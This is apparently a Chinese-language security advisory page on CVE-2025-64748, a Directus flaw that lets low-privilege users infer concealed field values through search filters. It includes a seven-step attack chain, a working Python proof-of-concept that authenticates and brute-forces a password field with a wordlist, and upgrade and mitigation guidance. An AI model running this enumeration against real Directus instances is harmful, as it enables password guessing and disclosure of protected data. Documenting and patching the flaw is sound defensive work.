IPBUF安全漏洞报告
English
CVE-2025-64748 CVSS 6.5 中危

CVE-2025-64748 Directus敏感字段枚举攻击漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64748
漏洞类型
信息泄露/枚举攻击
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

信息泄露枚举攻击侧信道攻击DirectusCVE-2025-64748API安全敏感数据保护权限绕过

漏洞概述

Directus是一个实时API和App仪表板,用于管理SQL数据库内容。该产品在11.13.0之前的版本中存在一个信息泄露漏洞。漏洞允许已认证用户(即使只拥有读取权限)在搜索功能中访问隐蔽或标记为敏感的字段。虽然系统对敏感字段的值进行了掩码处理(显示为****),但攻击者可以通过观察查询返回的记录数量或记录存在性来推断敏感信息的存在性。这种侧信道攻击方式使得攻击者能够对敏感数据进行枚举攻击,例如猜测密码、识别有效用户名、枚举隐藏的订单ID等。攻击者利用搜索功能的返回结果差异,逐步缩小可能的值范围,最终获取敏感数据的有价值信息。该漏洞的严重性在于它不需要任何特殊权限,只需要基本的读取访问权限即可实施攻击。

技术细节

该漏洞存在于Directus的搜索和过滤功能模块中。当数据库字段被标记为concealed(隐蔽)或sensitive(敏感)时,系统会在API响应中对这些字段的值进行掩码处理(替换为****)。然而,搜索逻辑在执行查询时仍然会使用原始的未掩码值进行比较。具体攻击流程如下:1) 攻击者作为低权限认证用户登录系统;2) 攻击者构造针对敏感字段的搜索查询,使用模糊匹配或精确匹配;3) 当搜索条件与某条记录的敏感字段匹配时,该记录会出现在返回结果中;4) 攻击者通过观察记录是否存在来判断搜索条件是否正确;5) 结合自动化工具,攻击者可以快速枚举出敏感字段的所有可能值或有效值。例如,攻击者可以依次搜索password字段为'admin123'、'password123'等常见值,观察哪些查询返回了记录,从而确定有效密码。由于CVSS向量显示攻击复杂度低(AC:L)且不需要用户交互(UI:N),此漏洞易于被利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先探测目标Directus实例,识别版本号,确认版本低于11.13.0,并获取API端点信息
STEP 2
步骤2:账户获取
攻击者获取一个拥有读取权限的有效账户凭证(可通过社会工程、凭据填充或利用其他漏洞获得)
STEP 3
步骤3:认证并获取Token
使用获取的账户信息通过/auth/login端点进行认证,获取有效的访问令牌(access_token)
STEP 4
步骤4:识别敏感字段
通过API文档、GraphQL introspection或探测集合结构,识别标记为concealed或sensitive的字段名称
STEP 5
步骤5:构造枚举攻击
使用搜索/过滤API,针对敏感字段构造一系列猜测值(如常见密码、用户名等)的查询请求
STEP 6
步骤6:分析响应差异
观察API响应,当猜测值与某条记录的敏感字段匹配时,该记录会出现在返回结果中,从而确认猜测正确
STEP 7
步骤7:自动化枚举
使用字典或暴力方法自动化执行大量查询,逐步枚举出敏感字段的所有有效值或特定目标值

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64748 PoC - Directus Sensitive Field Enumeration # Target: Directus < 11.13.0 # Attack: Enumerate sensitive fields through search functionality TARGET_URL = "http://target-directus-instance.com" USERNAME = "attacker" PASSWORD = "password123" SENSITIVE_FIELD = "password" # or other concealed field def authenticate(): """Authenticate and get access token""" endpoint = f"{TARGET_URL}/auth/login" data = { "email": USERNAME, "password": PASSWORD } response = requests.post(endpoint, json=data) if response.status_code == 200: return response.json().get("data", {}).get("access_token") return None def enumerate_sensitive_field(token, field_name, wordlist): """Enumerate sensitive field values through search""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Try each value from wordlist for value in wordlist: # Search for records where field matches the value payload = { "filter": { "_and": [ { field_name: { "_eq": value } } ] } } response = requests.post( f"{TARGET_URL}/items/your_collection", headers=headers, json=payload ) if response.status_code == 200: result = response.json() # If records are returned, the value matched if result.get("data") and len(result["data"]) > 0: print(f"[+] Found match: {field_name} = {value}") # Note: The actual value will be masked as **** # But existence of record confirms the guess # Example wordlist for enumeration common_passwords = ["admin", "password", "123456", "admin123", "password123"] token = authenticate() if token: enumerate_sensitive_field(token, SENSITIVE_FIELD, common_passwords)

影响范围

Directus < 11.13.0

防御指南

临时缓解措施
立即将Directus升级到11.13.0或最新版本。如果无法立即升级,可以采取以下临时缓解措施:1) 禁用或限制搜索功能对concealed字段的访问;2) 实施严格的API访问控制,确保只有必要的人员拥有敏感表的读取权限;3) 启用API请求监控和日志审计,及时发现异常查询模式;4) 在应用层实施速率限制,防止自动化枚举攻击;5) 考虑对特别敏感的字段使用单独的访问控制机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表